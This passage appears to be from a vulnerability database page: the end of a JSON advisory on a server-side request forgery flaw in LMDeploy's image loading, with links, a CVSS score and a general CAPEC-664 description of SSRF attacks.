      "url": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list